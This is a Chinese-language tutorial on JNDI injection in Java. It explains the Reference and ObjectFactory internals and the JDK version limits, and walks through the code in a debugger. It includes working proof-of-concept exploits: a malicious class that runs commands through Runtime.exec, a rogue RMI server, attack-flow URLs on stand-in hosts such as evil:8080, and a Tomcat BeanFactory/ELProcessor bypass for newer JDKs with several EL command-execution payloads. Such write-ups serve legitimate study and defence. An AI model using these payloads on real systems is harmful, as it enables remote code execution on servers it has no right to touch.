背景知识

JNDI Service Provider

JNDI 与 JNDI Service Provider 的关系类似于 Windows 中 SSPI 与 SSP 的关系。前者是统一抽象出来的接口,而后者是对接口的具体实现。如默认的 JNDI Service ProviderRMI/LDAP 等等。

ObjectFactory

每一个 Service Provider 可能配有多个 Object FactoryObject Factory 用于将 Naming Service(如 RMI/LDAP)中存储的数据转换为 Java 中可表达的数据,如 Java 中的对象或 Java 中的基本数据类型。 JNDI 的注入的问题就出在了可远程下载自定义的 ObjectFactory 类上。你如果有兴趣的话可以完整看一下 Service Provider 是如何与多个 ObjectFactory 进行交互的。

JNDI概述

JNDI(Java Naming and Directory Interface,Java命名和目录接口)是SUN公司提供的一种标准的Java命名系统接口,JNDI提供统一的客户端API,通过不同的访问提供者接口JNDI服务供应接口(SPI)的实现,由管理者将JNDI API映射为特定的命名服务和目录系统,使得Java应用程序可以和这些命名服务和目录服务之间进行交互。目录服务是命名服务的一种自然扩展。

JNDI是一个应用程序设计的API,为开发人员提供了查找和访问各种命名和目录服务的通用、统一的接口,类似JDBC都是构建在抽象层上。允许客户端通过名称发现和查找数据、对象。这些对象可以存储在不同的命名或目录服务中,就像人的名字或DNS中的域名与IP的关系。

JNDI由JNDI API命名管理JNDI SPI(service provider interface)服务提供的接口组成。我们的应用可以通过JNDI的API去访问相关服务提供的接口

JNDI注入 - 图1

JDNI的服务是可以拓展的,可以从JNDI页面下载其他服务提供商,也可以从远程获得其他服务提供商 JDK包括以下命名/目录服务的服务:

  • 轻型目录访问协议(ldap)
  • 通用对象请求代理体系结构(CORBA),通用对象服务(COS)名称服务
  • Java远程方法调用(RMI)注册表
  • 域名服务(DNS)

Java命名和目录接口(JNDI)是一种Java API,类似一个索引中心,它允许客户端通过name发现和查找数据和对象。其应用场景比如:动态加载数据库配置文件,从而保持数据库代码不变动等。

代码格式如下:

  1. //指定需要查找name名称
  2. String jndiName= "Test";
  3. //初始化默认环境
  4. Context context = new InitialContext();
  5. //查找该name的数据
  6. DataSource ds = (DataSourse)context.lookup(jndiName);

这里的jndiName变量的值可以是上面的命名/目录服务列表里面的值,如果JNDI名称可控的话可能会被攻击。

那上面提到的命名目录是什么?

  • 命名服务:命名服务是一种简单的键值对绑定,可以通过键名检索值,RMI就是典型的命名服务
  • 目录服务:目录服务是命名服务的拓展。它与命名服务的区别在于它可以通过对象属性来检索对象

举个例子:比如你要在某个学校里里找某个人,那么会通过:年级->班级->姓名这种方式来查找,年级、班级、姓名这些就是某个人的属性,这种层级关系就很像目录关系,所以这种存储对象的方式就叫目录服务。LDAP是典型的目录服务

其实,仔细一琢磨就会感觉其实命名服务与目录服务的本质是一样的,都是通过键来查找对象,只不过目录服务的键要灵活且复杂一点。

在一开始很多人都会被jndi、rmi这些词汇搞的晕头转向,而且很多文章中提到了可以用jndi调用rmi,就更容易让人发昏了。我们只要知道jndi是对各种访问目录服务的逻辑进行了再封装,也就是以前我们访问rmi与ldap要写的代码差别很大,但是有了jndi这一层,我们就可以用jndi的方式来轻松访问rmi或者ldap服务,这样访问不同的服务的代码实现基本是一样的。一图胜千言:

JNDI注入 - 图2

从图中可以看到jndi在访问rmi时只是传了一个键foo过去,然后rmi服务端返回了一个对象,访问ldap这种目录服务时,传过去的字符串比较复杂,包含了多个键值对,这些键值对就是对象的属性,LDAP将根据这些属性来判断到底返回哪个对象。

JNDI类

在Java JDK里面提供了5个包,提供给JNDI的功能实现,分别是:

  1. //主要用于命名操作,它包含了命名服务的类和接口,该包定义了Context接口和InitialContext类;
  2. javax.naming
  3. //主要用于目录操作,它定义了DirContext接口和InitialDir- Context类;
  4. javax.naming.directory
  5. //在命名目录服务器中请求事件通知;
  6. javax.naming.event
  7. //提供LDAP支持;
  8. javax.naming.ldap
  9. //允许动态插入不同实现,为不同命名目录服务供应商的开发人员提供开发和实现的途径,以便应用程序通过JNDI可以访问相关服务。
  10. javax.naming.spi

InitialContext类

在这JDK里面给的解释是构建初始上下文,其实通俗点来讲就是获取初始目录环境。

构造方法

  1. //构建一个初始上下文。
  2. InitialContext()
  3. //构造一个初始上下文,并选择不初始化它。
  4. InitialContext(boolean lazy)
  5. //使用提供的环境构建初始上下文。
  6. InitialContext(Hashtable<?,?> environment)
  • 实现代码
  1. InitialContext initialContext = new InitialContext();

常用方法

  1. //将名称绑定到对象。
  2. bind(Name name, Object obj)
  3. //枚举在命名上下文中绑定的名称以及绑定到它们的对象的类名。
  4. list(String name)
  5. //检索命名对象。
  6. lookup(String name)
  7. //将名称绑定到对象,覆盖任何现有绑定。
  8. rebind(String name, Object obj)
  9. //取消绑定命名对象。
  10. unbind(String name)
  • 实现代码
  1. package org.example;
  2. import javax.naming.InitialContext;
  3. import javax.naming.NamingException;
  4. import java.rmi.RemoteException;
  5. public class Client
  6. {
  7. public static void main( String[] args ) throws NamingException, RemoteException {
  8. String uri = "rmi://127.0.0.1:1099/test";
  9. InitialContext initialContext = new InitialContext();
  10. HelloInterface helloInterface = (HelloInterface) initialContext.lookup(uri);
  11. System.out.println(helloInterface.says("hello"));
  12. }
  13. }

Reference类

该类也是在javax.naming的一个类,该类表示对在命名/目录系统外部找到的对象的引用。提供了JNDI中类的引用功能。

在一些命名服务系统中,系统并不是直接将对象存储在系统中,而是保持对象的引用。引用包含了如何访问实际对象的信息。具体可以查看Java技术回顾之JNDI:命名和目录服务基本概念

构造方法

  1. //为类名为“className”的对象构造一个新的引用。
  2. Reference(String className)
  3. //为类名为“className”的对象和地址构造一个新引用。
  4. Reference(String className, RefAddr addr)
  5. //为类名为“className”的对象,对象工厂的类名和位置以及对象的地址构造一个新引用。
  6. Reference(String className, RefAddr addr, String factory, String factoryLocation)
  7. //为类名为“className”的对象以及对象工厂的类名和位置构造一个新引用。
  8. Reference(String className, String factory, String factoryLocation)
  • 实现代码
  1. String url = "http://127.0.0.1:8080";
  2. Reference reference = new Reference("test", "test", url);

在使用Reference时,我们可以直接将对象传入构造方法中,当被调用时,对象的方法就会被触发,创建Reference实例时几个比较关键的属性:

参数1:className - 远程加载时所使用的类名

参数2:classFactory - 加载的class中需要实例化类的名称

参数3:classFactoryLocation - 提供classes数据的地址可以是file/ftp/http协议

Reference类表示对存在于命名/目录系统以外的对象的引用。如果远程获取 RMI 服务上的对象为 Reference 类或者其子类,则在客户端获取到远程对象存根实例时,可以从其他服务器上加载 class 文件来进行实例化。

Java为了将Object对象存储在Naming或Directory服务下,提供了Naming Reference功能,对象可以通过绑定Reference存储在Naming或Directory服务下,比如RMI、LDAP等。

补充

常用方法

  1. void add(int posn, RefAddr addr)
  2. 将地址添加到索引posn的地址列表中。
  3. void add(RefAddr addr)
  4. 将地址添加到地址列表的末尾。
  5. void clear()
  6. 从此引用中删除所有地址。
  7. RefAddr get(int posn)
  8. 检索索引posn上的地址。
  9. RefAddr get(String addrType)
  10. 检索地址类型为“addrType”的第一个地址。
  11. Enumeration<RefAddr> getAll()
  12. 检索本参考文献中地址的列举。
  13. String getClassName()
  14. 检索引用引用的对象的类名。
  15. String getFactoryClassLocation()
  16. 检索此引用引用的对象的工厂位置。
  17. String getFactoryClassName()
  18. 检索此引用引用对象的工厂的类名。
  19. Object remove(int posn)
  20. 从地址列表中删除索引posn上的地址。
  21. int size()
  22. 检索此引用中的地址数。
  23. String toString()
  24. 生成此引用的字符串表示形式。

JNDI代码实现

在JNDI中提供了绑定和查找的方法

  • bind(Name name, Object obj) :将名称绑定到对象中
  • lookup(String name): 通过名字检索执行的对象

实现过程

类似rmi的实现过程,只不过最后绑定和检索的时候有一点差别。

  • 定义远程接口
  • 服务端实现远程接口
  • 服务端注册远程对象
  • 客户端调用接口

实现举例

HelloInterface.class(定义远程接口)

  1. package org.example;
  2. import java.rmi.Remote;
  3. import java.rmi.RemoteException;
  4. public interface HelloInterface extends Remote {
  5. String says (String name) throws RemoteException;
  6. }

HelloImpl.class(HelloInterface远程接口实现类)

  1. package org.example;
  2. import java.rmi.RemoteException;
  3. import java.rmi.server.UnicastRemoteObject;
  4. public class HelloImpl extends UnicastRemoteObject implements HelloInterface{
  5. protected HelloImpl() throws RemoteException {
  6. }
  7. @Override
  8. public String says(String name) throws RemoteException {
  9. return "test " + name;
  10. }
  11. }

Server.class(注册远程对象并绑定)

  1. package org.example;
  2. import javax.naming.Context;
  3. import javax.naming.InitialContext;
  4. import javax.naming.NamingException;
  5. import java.rmi.AlreadyBoundException;
  6. import java.rmi.RemoteException;
  7. import java.rmi.registry.LocateRegistry;
  8. import java.util.Properties;
  9. public class Server {
  10. public static void main(String[] args) throws RemoteException, AlreadyBoundException, NamingException {
  11. //配置JNDI工厂和JNDI的url和端口。如果没有配置这些信息,会出现NoInitialContextException异常
  12. Properties env = new Properties();
  13. env.put(Context.INITIAL_CONTEXT_FACTORY,"com.sun.jndi.rmi.registry.RegistryContextFactory");
  14. env.put(Context.PROVIDER_URL,"rmi://127.0.0.1:1099");
  15. //初始化环境
  16. InitialContext ctx = new InitialContext(env);
  17. // 创建一个注册表
  18. LocateRegistry.createRegistry(1099);
  19. // 远程调用对象
  20. HelloInterface hello = new HelloImpl();
  21. // 绑定
  22. ctx.bind("test", hello);
  23. }
  24. }

Client.class(远程调用)

  1. package org.example;
  2. import javax.naming.InitialContext;
  3. import javax.naming.NamingException;
  4. import java.rmi.RemoteException;
  5. public class Client
  6. {
  7. public static void main( String[] args ) throws NamingException, RemoteException {
  8. //初始化环境
  9. InitialContext init = new InitialContext();
  10. //JNDI的方式获取远程对象
  11. HelloInterface hello = (HelloInterface) init.lookup("rmi://127.0.0.1:1099/test");
  12. // 调用方法
  13. System.out.println(hello.says("123"));
  14. }
  15. }

JNDI注入 - 图3

JNDI动态协议转换

我们上面的demo提前配置了jndi的初始化环境,还配置了Context.PROVIDER_URL,这个属性指定了到哪里加载本地没有的类,所以,上面的demo中
init.lookup("rmi://127.0.0.1:1099/test")这一处代码改为init.lookup("test")也是没啥问题的。

那么动态协议转换是个什么意思呢?其实就是说即使提前配置了Context.PROVIDER_URL属性,当我们调用lookup()方法时,如果lookup方法的参数像demo中那样是一个uri地址,那么客户端就会去lookup()方法参数指定的uri中加载远程对象,而不是去Context.PROVIDER_URL设置的地址去加载对象(如果感兴趣可以跟一下源码,可以看到具体的实现)。

正是因为有这个特性,才导致当**lookup()**方法的参数可控时,攻击者可以通过提供一个恶意的url地址来控制受害者加载攻击者指定的恶意类。

但是你以为直接让受害者去攻击者指定的rmi注册表加载一个类回来就能完成攻击吗,是不行的,因为受害者本地没有攻击者提供的类的class文件,所以是调用不了方法的,所以我们需要借助接下来要提到的东西。

JNDI Naming Reference

Reference类表示对存在于命名/目录系统以外的对象的引用。如果远程获取 RMI 服务上的对象为 Reference 类或者其子类,则在客户端获取到远程对象存根实例时,可以从其他服务器上加载 class 文件来进行实例化。

Java为了将Object对象存储在Naming或Directory服务下,提供了Naming Reference功能,对象可以通过绑定Reference存储在Naming或Directory服务下,比如RMI、LDAP等。

在使用Reference时,我们可以直接将对象传入构造方法中,当被调用时,对象的方法就会被触发,创建Reference实例时几个比较关键的属性:

  • className:远程加载时所使用的类名;
  • classFactory:加载的class中需要实例化类的名称;
  • classFactoryLocation:远程加载类的地址,提供classes数据的地址可以是file/ftp/http等协议;

当然,要把一个对象绑定到RMI注册表中,这个对象需要继承UnicastRemoteObject,但是Reference没有继承它,所以我们还需要封装一下它,用 ReferenceWrapper 包裹一下Reference实例对象,这样就可以将其绑定到RMI注册表,并被远程访问到了

  1. // 第一个参数是远程加载时所使用的类名
  2. // 第二个参数是要加载的类的完整类名(这两个参数可能有点让人难以琢磨,往下看你就明白了)
  3. // 第三个参数就是远程class文件存放的地址了
  4. Reference refObj = new Reference("refClassName", "insClassName", "http://example.com:8888/");
  5. ReferenceWrapper refObjWrapper = new ReferenceWrapper(refObj);
  6. registry.bind("refObj", refObjWrapper);

当有客户端通过**lookup("refObj")**获取远程对象时,获取的是一个Reference存根(Stub),由于是Reference的存根,所以客户端会现在本地的classpath中去检查是否存在类refClassName,如果不存在则去指定的url(http://example.com:8888/refClassName.class)动态加载,并且调用`insClassName`的**无参构造函数**,所以**可以在构造函数里写恶意代码。当然除了在无参构造函数中写利用代码,还可以利用java的 `static代码块` 来写恶意代码,因为static代码块的代码在class文件被加载过后就会立即执行,且只执行一次。**

了解更多关于static代码块,参考:https://www.cnblogs.com/panjun-donet/archive/2010/08/10/1796209.html

JNDI注入

JNDI注入原理

就是将恶意的Reference类绑定在RMI注册表中,其中恶意引用指向远程恶意的class文件当用户在JNDI客户端的**lookup()**函数参数外部可控或**Reference类**构造方法的**classFactoryLocation参数**外部可控时,会使用户的JNDI客户端访问RMI注册表中绑定的恶意Reference类,从而加载远程服务器上的恶意class文件在客户端本地执行,最终实现JNDI注入攻击导致远程代码执行

JNDI注入 - 图4

JNDI注入的利用条件

  • 客户端的lookup()方法的参数可控
  • 服务端在使用Reference类时,classFactoryLocation参数可控

上面两个都是在编写程序时可能存在的脆弱点(任意一个满足就行),除此之外,jdk版本在JNDI注入中也起着至关重要的作用,而且不同的攻击Payload对jdk的版本要求也不一致,这里就全部列出来:

  • JDK 6u45、7u21之后java.rmi.server.useCodebaseOnly的默认值被设置为true。当该值为true时,将禁用自动加载远程类文件,仅从CLASSPATH和当前JVM的java.rmi.server.codebase指定路径加载类文件。使用这个属性来防止客户端JVM从其他Codebase地址上动态加载类,增加了RMI ClassLoader的安全性。
  • JDK 6u141、7u131、8u121之后:增加了com.sun.jndi.rmi.object.trustURLCodebase选项,默认为false,禁止RMICORBA协议使用远程codebase的选项,因此RMICORBA在以上的JDK版本上已经无法触发该漏洞,但依然可以通过指定URI为LDAP协议来进行JNDI注入攻击
  • JDK 6u211、7u201、8u191之后:增加了com.sun.jndi.ldap.object.trustURLCodebase选项,默认为false,禁止LDAP协议使用远程codebase的选项,把LDAP协议的攻击途径也给禁了。

可以看出RMI的Codebase限制明显比LDAP多,所以我们在日站的时候,最好也是用LDAP来进行注入。

JNDI注入攻击流程

  1. 攻击者通过可控url触发动态协议转换(rmi://attack:1090/Exploit)
  2. 受害者服务器原上下文环境被转换为rmi://attack:1090/Exploit
  3. 受害者服务器去rmi://attack:1090/Exploit请求绑定对象Exploit,攻击者实现准备好的RMI服务器返回一个ReferenceWrapper对象(Reference("Class1","Class2","http://evil:8080/"))
  4. 应用获取到ReferenceWrapper开始在本地查找Class1,发现无,则去请求http://evil:8080/Class2.class
  5. web服务器返回事先准备好的恶意class文件,受害者服务器调用Class2的构造方法,恶意代码执行

JNDI注入举例

创建恶意类Evil(不能带package)

  1. import javax.naming.Context;
  2. import javax.naming.Name;
  3. import javax.naming.spi.ObjectFactory;
  4. import java.io.BufferedReader;
  5. import java.io.IOException;
  6. import java.io.InputStreamReader;
  7. import java.util.Hashtable;
  8. public class Evil implements ObjectFactory { // 实现接口ObjectFactory,不然会报错,虽然不影响执行
  9. public Evil() throws IOException { // 构造方法,加载时会自动调用
  10. exec("open -na Calculator");
  11. }
  12. public static void exec(String cmd) throws IOException {
  13. Process runcmd = Runtime.getRuntime().exec(cmd);
  14. InputStreamReader inputStreamReader = new InputStreamReader(runcmd.getInputStream());
  15. BufferedReader bufferedReader = new BufferedReader(inputStreamReader);
  16. String tmp;
  17. while ((tmp = bufferedReader.readLine()) != null){
  18. System.out.println(tmp);
  19. }
  20. inputStreamReader.close();
  21. bufferedReader.close();
  22. }
  23. @Override
  24. public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) throws Exception {
  25. return null;
  26. }
  27. }

常见RMI服务端,绑定恶意的Reference到rmi注册表

  1. package org.example;
  2. import com.sun.jndi.rmi.registry.ReferenceWrapper;
  3. import javax.naming.Context;
  4. import javax.naming.InitialContext;
  5. import javax.naming.NamingException;
  6. import javax.naming.Reference;
  7. import java.io.IOException;
  8. import java.rmi.registry.LocateRegistry;
  9. import java.util.Properties;
  10. public class App {
  11. public static void main(String[] args) throws IOException, NamingException {
  12. //配置JNDI工厂和JNDI的url和端口。如果没有配置这些信息,会出现NoInitialContextException异常
  13. Properties env = new Properties();
  14. env.put(Context.INITIAL_CONTEXT_FACTORY,"com.sun.jndi.rmi.registry.RegistryContextFactory");
  15. env.put(Context.PROVIDER_URL,"rmi://127.0.0.1:1099");
  16. //初始化环境
  17. InitialContext ctx = new InitialContext(env);
  18. // 创建一个注册表
  19. LocateRegistry.createRegistry(1099);
  20. // 绑定恶意的Reference到rmi注册表
  21. // 注意,classFactoryLocation地址后面一定要加上/ 如果不加上/,那么则向web服务请求恶意字节码的时候,则会找不到该字节码
  22. Reference reference = new Reference("Evil", "Evil", "http://127.0.0.1:8888/");
  23. ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference);
  24. ctx.bind("evil", referenceWrapper);
  25. }
  26. }

JNDI注入 - 图5

客户端远程调用evil对应类

  1. package org.example;
  2. import javax.naming.InitialContext;
  3. import javax.naming.NamingException;
  4. public class Client {
  5. public static void main(String[] args) throws NamingException {
  6. System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", String.valueOf(true)); // 参考上面的利用条件,低版本不需要设置
  7. System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase", String.valueOf(true)); // 参考上面的利用条件,低版本不需要设置
  8. //初始化环境
  9. InitialContext init = new InitialContext();
  10. // 远程调用evil,然后找不到服务端类Evil,就会调用http://127.0.0.1:8888/Evil.class
  11. init.lookup("rmi://127.0.0.1:1099/evil");
  12. }
  13. }

步骤

  • 启动RMI服务端

JNDI注入 - 图6

  • 编译Evil.javaEvil.class,并启动http服务

JNDI注入 - 图7

  • 客户端运行,远程调用evil

JNDI注入 - 图8

JNDI注入Debug

lookup下断点进行分析

JNDI注入 - 图9

堆栈调用情况

JNDI注入 - 图10

首先调用InitialContext.lookupgetURLOrDefaultInitCtx函数会分析name的协议头返回对应协议的环境对象,此处返回Context对象的子类rmiURLContext对象,然后在对应协议中去lookup搜索

JNDI注入 - 图11

然后就会调用GenericURLContext.lookup()方法,此处thisrmiURLContext类调用对应类的getRootURLContext类为解析RMI地址,不同协议调用这个函数,根据之前getURLOrDefaultInitCtx(name)返回对象的类型不同,执行不同的getRootURLContext,进入不同的协议路线。

JNDI注入 - 图12

  1. public Object lookup(String var1) throws NamingException {
  2. // 获取rmi注册中心的相关数据
  3. ResolveResult var2 = this.getRootURLContext(var1, this.myEnv);
  4. // 获取注册中心对象
  5. Context var3 = (Context)var2.getResolvedObj();
  6. Object var4;
  7. try {
  8. // 去注册中心lookup,进入此处 lookup
  9. var4 = var3.lookup(var2.getRemainingName());
  10. } finally {
  11. var3.close();
  12. }
  13. return var4;
  14. }

跟进lookup,此处调用的是RegistryContext.lookup()

其中从RMI注册表中lookup查询到服务端中目标类的Reference后返回一个ReferenceWrapper_Stub类实例,该类实例就是客户端的存根、用于实现和服务端进行交互,最后调用decodeObject()函数来解析

JNDI注入 - 图13

然后跟进RegistryContext.decodeObject,先判断入参ReferenceWrapper_Stub类实例是否是RemoteReference接口实现类实例,而ReferenceWrapper_Stub类正是实现RemoteReference接口类的,因此通过判断调用getReference()来获取到ReferenceWrapper_Stub类实例中的Reference即我们在恶意RMI注册中绑定的恶意Reference;再往下调用NamingManager.getObjectInstance()来获取远程服务端上的类实例

JNDI注入 - 图14

继续跟NamingManager.getObjectInstance()

JNDI注入 - 图15

进入getObjectFactoryFromReference,到loadClass()时,就会向工厂请求恶意的class

JNDI注入 - 图16

然后看到了熟悉的newInstance()(实例化),想想写的Evil.java 只有一个构造函数,实例化之后,就会执行构造函数中的恶意代码。

JNDI注入 - 图17

实例化后:

JNDI注入 - 图18

继续跟,getObjectFactoryFromReference()返回的类需要为ObjectFactory,所以这里也是为什么我们的恶意类要实现**ObjectFactory**这个接口,不然会报错,但是不影响执行。

JNDI注入 - 图19

绕过高版本JDK(8u191+)限制

如何绕过高版本JDK的限制进行JNDI注入利用

绕过高版本JDK(8u191+)限制

Exploitng JNDI Injection In Java

由前面知道,在JDK 6u211、7u201、8u191、11.0.1之后,增加了com.sun.jndi.ldap.object.trustURLCodebase选项,默认为false,禁止LDAP协议使用远程codebase的选项,把LDAP协议的攻击途径也给禁了。

两种绕过方法如下:

  1. 找到一个受害者本地CLASSPATH中的类作为恶意的Reference Factory工厂类,并利用这个本地的Factory类执行命令。
  2. 利用LDAP直接返回一个恶意的序列化对象,JNDI注入依然会对该对象进行反序列化操作,利用反序列化Gadget完成命令执行。

这两种方式都非常依赖受害者本地CLASSPATH中环境,需要利用受害者本地的Gadget进行攻击。

简单地说,在低版本JDK的JNDI注入中,主要利用的就是**classFactoryLocation**这个参数来实现远程加载类利用的。但是在高版本JDK中对**classFactoryLocation**这个途径实现了限制,但是对于**classFactory**这个参数即本地**ClassPath**中如果存在Gadget的话还是能够进行JNDI注入攻击的

我们先来看一些基本概念,然后再分析这两种绕过方法。

关于Codebase

Oracle官方关于Codebase的说明:https://docs.oracle.com/javase/1.5.0/docs/guide/rmi/codebase.html

Codebase指定了Java程序在网络上远程加载类的路径。RMI机制中交互的数据是序列化形式传输的,但是传输的只是对象的数据内容,RMI本身并不会传递类的代码。当本地没有该对象的类定义时,RMI提供了一些方法可以远程加载类,也就是RMI动态加载类的特性。

当对象发送序列化数据时,会在序列化流中附加上Codebase的信息,这个信息告诉接收方到什么地方寻找该对象的执行代码。Codebase实际上是一个URL表,该URL上存放了接收方需要的类文件。在大多数情况下,你可以在命令行上通过属性 java.rmi.server.codebase 来设置Codebase。

例如,如果所需的类文件在Evil的根目录下,那么设置Codebase的命令行参数如下(如果你把类文件打包成了jar,那么设置Codebase时需要指定这个jar文件):

  1. -Djava.rmi.server.codebase=http://url:8080/

当接收程序试图从该URL的Evil上下载类文件时,它会把类的包名转化成目录,在Codebase 的对应目录下查询类文件,如果你传递的是类文件 com.project.test ,那么接受方就会到下面的URL去下载类文件:

  1. http://url:8080/com/project/test.class

关于JNDI Naming Reference的限制

如前文所述,JDK 7u21开始,java.rmi.server.useCodebaseOnly 默认值就为true,防止RMI客户端VM从其他Codebase地址上动态加载类。然而JNDI注入中的Reference Payload并不受useCodebaseOnly影响,因为它没有用到 RMI Class loading,它最终是通过URLClassLoader加载的远程类。

NamingManager.java

  1. static ObjectFactory getObjectFactoryFromReference(Reference ref, String factoryName)
  2. throws IllegalAccessException,
  3. InstantiationException,
  4. MalformedURLException {
  5. Class<?> clas = null;
  6. // Try to use current class loader
  7. try {
  8. clas = helper.loadClass(factoryName);
  9. } catch (ClassNotFoundException e) {
  10. // ignore and continue
  11. // e.printStackTrace();
  12. }
  13. // All other exceptions are passed up.
  14. // Not in class path; try to use codebase
  15. String codebase;
  16. if (clas == null &&
  17. (codebase = ref.getFactoryClassLocation()) != null) {
  18. try {
  19. clas = helper.loadClass(factoryName, codebase);
  20. } catch (ClassNotFoundException e) {
  21. }
  22. }
  23. return (clas != null) ? (ObjectFactory) clas.newInstance() : null;
  24. }

代码中会先尝试在本地CLASSPATH中加载类,不行再从Codebase中加载,codebase的值是通过ref.getFactoryClassLocation()获得。

  1. public Class<?> loadClass(String className, String codebase)
  2. throws ClassNotFoundException, MalformedURLException {
  3. ClassLoader parent = getContextClassLoader();
  4. ClassLoader cl =
  5. URLClassLoader.newInstance(getUrlArray(codebase), parent);
  6. return loadClass(className, cl);
  7. }

最后通过 VersionHelper12.loadClass()URLClassLoader 加载了远程class。所以java.rmi.server.useCodebaseOnly不会限制JNDI Reference的利用,有影响的是高版本JDK中的这几个系统属性:

  • com.sun.jndi.rmi.object.trustURLCodebase
  • com.sun.jndi.cosnaming.object.trustURLCodebase
  • com.sun.jndi.ldap.object.trustURLCodebase

做个实验,我们在JDK1.8.0_181下使用 RMI Server 构造恶意的JNDI Reference进行JNDI注入,报错如下:

  1. Exception in thread "main" javax.naming.ConfigurationException: The object factory is untrusted. Set the system property 'com.sun.jndi.rmi.object.trustURLCodebase' to 'true'.
  2. at com.sun.jndi.rmi.registry.RegistryContext.decodeObject(RegistryContext.java:495)
  3. at com.sun.jndi.rmi.registry.RegistryContext.lookup(RegistryContext.java:138)
  4. at com.sun.jndi.toolkit.url.GenericURLContext.lookup(GenericURLContext.java:205)
  5. at javax.naming.InitialContext.lookup(InitialContext.java:417)

而此时使用LDAP Server返回恶意Reference是可以成功利用的,因为JDK 8u191以后才对LDAP JNDI Reference进行了限制。

绕过高版本JDK限制:利用本地Class作为Reference Factory

在高版本中(如:JDK8u191以上版本)虽然不能从远程加载恶意的Factory,但是我们依然可以在返回的**Reference**中指定**Factory Class**

  1. 这个工厂类必须在受害目标本地的**CLASSPATH**
  2. 工厂类必须实现 **javax.naming.spi.ObjectFactory** 接口
  3. 至少存在一个 **getObjectInstance()** 方法

org.apache.naming.factory.BeanFactory 刚好满足条件并且存在被利用的可能。org.apache.naming.factory.BeanFactory 存在于Tomcat依赖包中,所以使用也是非常广泛。

该类在 getObjectInstance() 中会通过反射的方式实例化Reference所指向的任意Bean Class,并且会调用setter方法为所有的属性赋值。而该Bean Class的类名、属性、属性值,全都来自于Reference对象,均是攻击者可控的。

利用举例

根据beanFactory的代码逻辑,要求传入的ReferenceResourceRef类,这个情况下,目标Bean Class必须有一个无参构造方法,有public的setter方法且参数为一个String类型。事实上,这些setter不一定需要是set..开头的方法,根据org.apache.naming.factory.BeanFactory中的逻辑,我们可以把某个方法强制指定为setter

然后大佬们找到了javax.el.ELProcessor可以作为目标Class。

pom.xml(双方均需要)
  1. <dependency>
  2. <groupId>org.apache.tomcat</groupId>
  3. <artifactId>tomcat-catalina</artifactId>
  4. <version>8.5.0</version>
  5. </dependency>
  6. <!-- https://mvnrepository.com/artifact/org.apache.el/com.springsource.org.apache.el -->
  7. <dependency>
  8. <groupId>org.apache.el</groupId>
  9. <artifactId>com.springsource.org.apache.el</artifactId>
  10. <version>7.0.26</version>
  11. </dependency>

Server
  1. package org.example;
  2. import com.sun.jndi.rmi.registry.ReferenceWrapper;
  3. import org.apache.naming.ResourceRef;
  4. import javax.naming.NamingException;
  5. import javax.naming.StringRefAddr;
  6. import java.io.IOException;
  7. import java.rmi.AlreadyBoundException;
  8. import java.rmi.registry.LocateRegistry;
  9. import java.rmi.registry.Registry;
  10. public class App {
  11. public static void main(String[] args) throws IOException, NamingException, AlreadyBoundException {
  12. Registry registry = LocateRegistry.createRegistry(1099);
  13. System.out.println("RMI LISTEN PORT 1099");
  14. // 实例化Reference,指定目标类为javax.el.ELProcessor,工厂类为org.apache.naming.factory.BeanFactory
  15. ResourceRef ref = new ResourceRef("javax.el.ELProcessor", null, "", "", true,"org.apache.naming.factory.BeanFactory",null);
  16. // 强制将 'x' 属性的setter 从 'setX' 变为 'eval', 详细逻辑见 BeanFactory.getObjectInstance 代码
  17. ref.add(new StringRefAddr("forceString", "x=eval"));
  18. // 利用表达式执行命令
  19. ref.add(new StringRefAddr("x", "\"\".getClass().forName(\"javax.script.ScriptEngineManager\").newInstance().getEngineByName(\"JavaScript\").eval(\"new java.lang.ProcessBuilder['(java.lang.String[])'](['/bin/sh','-c','/System/Applications/Calculator.app/Contents/MacOS/Calculator']).start()\")"));
  20. ReferenceWrapper referenceWrapper = new ReferenceWrapper(ref);
  21. registry.bind("Exploit", referenceWrapper);
  22. }
  23. }

Client
  1. package org.example;
  2. import javax.naming.InitialContext;
  3. import javax.naming.NamingException;
  4. public class Client {
  5. public static void main(String[] args) throws NamingException {
  6. //初始化环境
  7. InitialContext init = new InitialContext();
  8. // 寻找Exploit,然后会执行EL表达式
  9. init.lookup("rmi://127.0.0.1:1099/Exploit");
  10. }
  11. }

JNDI注入 - 图20

几种变体的表达式

前面的恶意表达式就是通过反射的方式来实现命令执行的,本地测试有如下几种变体,原理都是基于反射调用任意类方法:

  1. import javax.el.ELProcessor;
  2. public class Test {
  3. public static void main(String[] args) {
  4. String poc = "''.getClass().forName('javax.script.ScriptEngineManager')" +
  5. ".newInstance().getEngineByName('nashorn')" +
  6. ".eval(\"s=[3];s[0]='cmd';s[1]='/C';s[2]='calc';java.lang.Runtime.getRuntime().exec(s);\")";
  7. // String poc = "''.getClass().forName('java.lang.Runtime').getMethod('exec',''.getClass())" +
  8. // ".invoke(''.getClass().forName('java.lang.Runtime').getMethod('getRuntime')" +
  9. // ".invoke(null),'calc.exe')}";
  10. // String poc = "''.getClass().forName('javax.script.ScriptEngineManager')" +
  11. // ".newInstance().getEngineByName('JavaScript')" +
  12. // ".eval(\"java.lang.Runtime.getRuntime().exec('calc')\")";
  13. new ELProcessor().eval(poc);
  14. }
  15. }

Debug分析

因为org.apache.naming.factory.BeanFactory 类在 getObjectInstance() 中会通过反射的方式实例化Reference所指向的任意Bean Class,并且会调用setter方法为所有的属性赋值。而该Bean Class的类名、属性、属性值,全都来自于Reference对象,均是攻击者可控的。所以重点分析getObjectInstance()

RegistryContext.lookup对RMI registry发请求,反序列获取到ReferenceWrapper_Stub,然后把反序列得到的ReferenceWrapper_Stub传给decodeObject()

JNDI注入 - 图21

跟进decodeObject,首先给获取到的var1 ReferenceWrapper_Stub调用getReference()方法,getReference方法通过获取ReferenceWrapper_Stubref属性然后发请求, 反序列请求结果得到真正绑定到RMI Registry上的对象(ResourceRef), 然后传给NamingManager.getObjectInstance()方法。

JNDI注入 - 图22

首先类型转换将object转换为Reference对象

JNDI注入 - 图23

然后ref.getFactoryClassName() 获取FactoryClassName,返回的是Reference对象的classFactory属性,然后传递到getObjectFactoryFromReference中,然后loadClass加载我们传入的org.apache.naming.factory.BeanFactory类, 再newInstance实例化该类并将其转换成ObjectFactory类型。

JNDI注入 - 图24

然后直接调用ObjectFactory接口实现类实例的getObjectInstance()函数,这里是BeanFactory类实例的getObjectInstance()函数

JNDI注入 - 图25

